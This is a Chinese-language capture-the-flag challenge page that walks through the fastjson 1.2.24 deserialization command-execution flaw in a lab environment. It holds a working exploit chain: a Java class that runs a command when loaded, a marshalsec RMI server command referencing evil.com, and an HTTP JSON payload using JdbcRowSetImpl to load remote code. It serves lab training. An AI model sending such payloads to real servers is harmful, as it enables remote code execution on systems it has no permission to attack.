fastjson2
题目描述:

fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。

题目提示:

fastjson 1.2.24 反序列化导致任意命令执行漏洞

参考资料:

环境运行后,访问http://your即可看到JSON格式的输出。

我们向这个地址POST一个JSON对象,即可更新服务端的信息:

curl http://your-ip:8090/ -H "Content-Type: application/json" --data '{"name":"hello", "age":20}'

漏洞复现

因为目标环境是Java 8u102,没有com.sun.jndi.rmi.object.trustURLCodebase的限制,我们可以使用com.sun.rowset.JdbcRowSetImpl的利用链,借助JNDI注入来执行命令。

首先编译并上传命令执行代码,如http://evil.com/TouchFile.class

// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/success"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

然后我们借助marshalsec项目,启动一个RMI服务器,监听9999端口,并制定加载远程类TouchFile.class

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://evil.com/#TouchFile" 9999

向靶场服务器发送Payload,带上RMI的地址:

POST / HTTP/1.1
Host: your-ip:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 160

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://evil.com:9999/TouchFile",
        "autoCommit":true
    }
}

可见,命令touch /tmp/success已成功执行:

作者

snow

解题次数

3

一血

F1rstb100d

消耗金币

0

分数

100

最高奖励

0

您尚未登录,请 登录注册 后评论
    0 人参与 | 0 条评论
    暂时没有评论,欢迎来讨论!
个人空间

0

题目

0

解题

0

分数

0

金币

题目分类
分数排行